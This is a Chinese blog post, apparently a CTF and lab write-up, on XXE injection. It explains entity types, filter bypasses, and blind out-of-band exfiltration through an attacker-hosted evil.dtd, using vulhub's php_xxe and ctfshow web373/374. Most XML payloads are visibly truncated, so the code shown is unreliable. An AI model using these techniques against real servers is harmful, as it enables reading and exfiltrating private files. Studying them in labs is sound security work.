xxe盲注
创始人
2025-05-30 13:13:06

简单描述xxe:

内部声明实体,格式为


   //DTD实体
]>
&errorr0;123

引用外部实体


   //DTD外部实体
]> 
&errorr0;123

如何区分,一开始我也看不懂有啥区别,最后是啥发现了内部实体就是引用得值是已经定义好了,而外部实体的值就是通过某些函数比如system来获取,不是提前定义好的。

参数实体

上面的内部还是外部实体的值,都是再文档外面调用的,而如果我们想在里面调用,就需要用到参数实体。

%实体名称 ;----- 相当于调用



%b;
]>最后输出的答案为:hello errorr0

 可以看出%b在dtd的里面。 

内部实体+参数实体混合调用


">
%errorr1;
]>&errorr2;123

先调用参数实体,然后数据中又是一个实体,再在文档元素中调用&errorr2; 。

预定义实体,实体引入字符

当然除了这些,还有一种方式代替一些符号比如百分号%,参数实体的百分号%也不能出现在实体值中,这个时候我们可以用Unicode编码,%=% 也可以写做16进制 ,%=%=%

外部实体+参数实体的二重调用 



%errorr1;
%errorr;
]>&errorr2;123flag.txt中内容如下:">

盲注xxe

因为上面的都是有回显的题目都会有print或者echo之类输出的语句, 但是如果没有回显了怎么办呢?

构造的XML
  //这是需要带出去的一串数据
  //服务器中放入嵌套数据
%remote;
%all;
]>
&send;
errorr.txt">
1.php

其实就是通过了参数实体+外部实体,首先调用%romore获得errror.txt中的实体,然后调用%all获得了后面的send最后调用外部实体,调用了1.php中的内容,然后把file里面的数据放到了1.txt中,这样就把数据外带了。

因为DTD外部实体中带入的 SYSTEM 可以执行http:// 、 file:// 、 https:// ,因此不用怀疑,我们还能进行php://伪协议的利用,比如php://filter中我们可以用base64或者rot13编码一些文件或者网站的源码供我们读取。

XXE过滤ENTITY关键字

完全可以用上面的方式把ENITY放到,服务器上的一个文件中然后读取

复现的环境:

  • PHP 7.0.30
  • libxml 2.8.0
  • libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。

这里就不细写知识点了,这个链接挺全的。主要通过题目和复现来逐渐理解。

首先复现vulhub上的php_xxe

环境搭建:找到php_xxe的 那个

 然后直接docker-compose up -d,然后访问8080端口就可以了。

(ps:一定保证8080的端口是空闲的,这里我的kali以前鼓捣过,8080端口开过apache信道服务,捣鼓不明白 只能重开一台kali)

目录下有dom.php、index.php、SimpleXMLElement.php、simplexml_load_string.php其中dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞。

dom.php: DOMDocument:: loadXML()//从字符串加载XML文档

loadXML($data);print_r($dom);

 SimpleXMLElement.php:SimpleXMLElement类标识xml文档中的元素

simplexml_load_string.php: simplexml_load_string()//接受格式正确的XML字符串,并将其作为对象返回

name;

burp抓包进行修改,加入如下代码:这是使用的外部实体

 
	]>	
&xxe;					
		

 发现执行成功。

==============

web373

loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 加载xml实体,参数为替代实体,加载外部子集$creds = simplexml_import_dom($dom);$ctfshow = $creds->ctfshow;//结点嵌套echo $ctfshow;
}
highlight_file(__FILE__);    


   
  ]>
 
    &xxe;
 

这里ctfshow的标签因为是结点嵌套所以必须存在,  然后&xxe后面的分号一定要有。

web374

loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

这里没有print echo所以无回显,所以我们需要找个东西来外带我们要获取的数据。

evil.dtd


">
 
 
%dtd;%int;%send; ]> 

需要在服务器上开启web功能。

过滤http头、xml这些可以换个编码绕过

ps感想:

弄这个apache搞了好几天一直报错,实在是顶不住了,如果有会的师傅可以滴滴我,感激不尽呀!!! 

相关内容

热门资讯

【前端八股文】JavaScri... 文章目录Set概念与arr的比较属性和方法并集、交集、差集Map概念属性和方法String用索引值和...
海康硬盘录像机接入RTSP/o... EasyNVR安防视频云服务平台可支持设备通过RTSP/Onvif协议接入平台,能提供...
在混合劳动力时代如何避免网络安... 在混合劳动力时代如何避免安全网络风险 三年多来,混合工作一直是工作生活中不可或缺的一...
2023还不懂Jmeter接口... 这里介绍的Jmeter接口测试的的实战,如果文章内容没遇看懂的话,我这边...
基于4G/5G弱网聚合的多链路... 基于4G/5G多卡聚合(弱网聚合)的智能融合通信设备技术亮点 增强带宽提供可靠连接 通过将多个有线和...
如何使用Synplify综合v... 文章目录使用Synplify综合的好处synplify的教程方法1(无效)...
2023年全国最新高校辅导员精... 百分百题库提供高校辅导员考试试题、辅导员考试预测题、高校辅导员考试真题、辅导员证考试题库等ÿ...
2022年18个值得期待的Le... 有数百个独特的LearnDash附加组件,您可能很难选择您的LearnDash LMS...
【java基础】Stream流... 文章目录基本介绍流的创建流的各种常见操作forEach方法filter方法map方法peek方法fl...
javaweb高校行政办公自动... 本课题基于我国高校管理信息化建设现状,结合在实际工作中所遇到的问题和收获,...
一款专门为自动化测试打造的集成... 你好,我是不二。 随着行业内卷越来越严重,自动化测试已成为测试工程师的...
【go-zero】golang... 一、casbin 概览 1、casbin基本了解 casbin的GitHub:https://git...
现在开发低代码平台算晚吗? 现在开发低代码平台算晚吗?作为低代码的亲戚——零代码厂商,这篇就以“厂商...
【JavaWeb】书城项目(2... 222.书城项目-第三阶段:修改所有html页面为jsp页面 改成jsp页面之后&#x...
基于jeecgboot的大屏设...      通过前面设计好数据源后,就要进行数据集的设计了。      一、还是在onl...
Linux命令小技巧:显示文件... 工作中会有很多千奇百怪的需求,比如:如何在 Linux 命令行中快速找到...
【找工作】-- 大数据工程师找... 目录 1.前言 2.找工作的理论知识 2.1 分析个人特征 2.1.1 你自身优势是什么?
C++基础算法④——排序算法(... 排序算法 1.插入排序 2.桶排序 1.插入排序 基本思想:将初始数据分为有序部分和...
nginx快速入门.跟学B站n... nginx快速入门.跟学B站nginx一小时精讲课程笔记nginx简介及环境准备nginx简介环境准...
ORACLE存过互相调用之间事... 今天在问答区看到一个问题是 假如有procedureA、procedureB和procedureC&...
基于java中Springbo... 基于java中Springboot框影视影院订票选座管理系统 开发语言:Java 框...
CVE-2018-18086 最近闲来无事,看到青少年CTF平台,感觉对新手还是比较友好的࿰...
【深度学习】基于Hough变化... 💥💥💞💞欢迎来到本博客❤️❤️&#x...
AtCoder Beginne... D - Bank (atcoder.jp)         (1)题目大...
VxWorkds 内存管理(3... 虚拟内存管理 对于带MMU的目标板,VxWorks提供虚拟内存的支持,V...
【微服务】—— 统一网关Gat... 文章目录1. 概述1.1 为什么需要网关1.2 SpringCloud Gateway2. gate...
文心一言实际测试——让我们拿实... 文心一言实际测试——让我们拿实际说好坏 4月16日,文心一言闪亮登场,就...
Postgresql源码(10... 0 总结 (可以最后看) PLpgSQL_execstate中包含的两个...
网络技术与应用概论(上)——“... 各位CSDN的uu们你们好呀,今天,小雅兰的内容依旧是计算机网络的一些知...
Yolov5 QAT量化训练 1. QAT介绍 从 模型量化(5): 敏感层分析可以看出来,对于yolov5-nano模型,对最后...